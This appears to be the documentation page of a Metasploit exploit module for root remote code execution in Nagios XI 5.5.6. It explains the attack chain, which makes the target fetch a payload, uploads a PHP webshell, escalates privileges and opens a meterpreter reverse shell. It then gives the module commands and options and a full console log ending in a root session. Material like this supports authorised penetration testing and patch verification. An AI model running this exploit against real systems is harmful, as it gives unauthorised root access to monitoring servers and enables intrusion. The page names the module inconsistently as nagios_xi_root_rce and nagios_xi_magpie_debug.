Vulnerable Application

Nagios XI 5.5.6 Root Remote Code Execution

The exploit works as follows:

A local HTTPS server is setup. When it is reached, this server responds with a payload.
By crafting a malicious request, we make the target host send a request to our HTTPS server. Therefore, the local HTTPS server must be reachable from outside your private network (except if the Nagios server is in the same network as yours obviously), this is what the RSRVHOST and RSRVPORT options are for. The malicious request allows for file upload. A PHP webshell and a meterpreter executable are uploaded.
A command is executed thanks to the webshell. This command elevates privileges and run the meterpreter executable, giving us a meterpreter session.

Creating A Testing Environment

Install a Ubuntu Linux LTS (I used 18.04 LTS for my tests) in a VM.
Download Nagios XI 5.5.6 from the official website (https://www.nagios.com/downloads/nagios-xi/older-releases/).
Follow the official instructions to install it on your Ubuntu VM (https://assets.nagios.com/downloads/nagiosxi/docs/Installing-Nagios-XI-Manually-on-Linux.pdf).

Verification Steps

use exploit/linux/http/nagios_xi_root_rce
set RHOSTS [IP]
set RSRVHOST [IP]
exploit

A meterpreter session should have been opened successfully and you should be root

Options

RSRVHOST

IP at which your local HTTPS can be reached. Most of the time it will be a public IP (e.g. your router IP if you have port forwarding).

RSRVPORT

Port that will forward to your local HTTPS server.

SRVHOST

IP of your local HTTPS server (must be a local IP).

SRVPORT

Port to listen to for your local HTTPS server.

Scenarios

Nagios 5.5.6 on Ubuntu 18.04 LTS

msf5 exploit(linux/http/nagios_xi_magpie_debug) > show options

Module options (exploit/linux/http/nagios_xi_magpie_debug):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  5                no        Number of seconds the web server will wait before termination
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.16.135.129   yes       The target address range or CIDR identifier
   RPORT      443              yes       The target port (TCP)
   RSRVHOST   172.16.135.1     yes       A public IP at which your host can be reached (e.g. your router IP)
   RSRVPORT   8080             yes       The port that will forward to the local HTTPS server
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.135.1     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nagios XI 5.5.6


msf5 exploit(linux/http/nagios_xi_magpie_debug) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.135.1:4444 
msf5 exploit(linux/http/nagios_xi_magpie_debug) > [*] Using URL: https://0.0.0.0:8080/ixFonv2
[*] Local IP: https://192.168.0.21:8080/ixFonv2
[*] Server started.
[*] nZOnJhGnMb.php uploaded with success!
[*] Using URL: https://0.0.0.0:8080/mTwEwHtAuz0V
[*] Local IP: https://192.168.0.21:8080/mTwEwHtAuz0V
[*] Server started.
[*] SQmBobwBzw uploaded with success!
[*] Sending stage (985320 bytes) to 172.16.135.129
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.129:33090) at 2019-06-25 16:13:01 -0500
[+] Deleted /usr/local/nagvis/share/nZOnJhGnMb.php
[+] Deleted /usr/local/nagvis/share/SQmBobwBzw
[!] This exploit may require manual cleanup of '/var/tmp/mtrhbwFZHa.nse' on the target
[*] Server stopped.

msf5 exploit(linux/http/nagios_xi_magpie_debug) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.16.135.129
OS           : Ubuntu 18.04 (Linux 4.18.0-15-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >

4.6 KiB Raw Blame History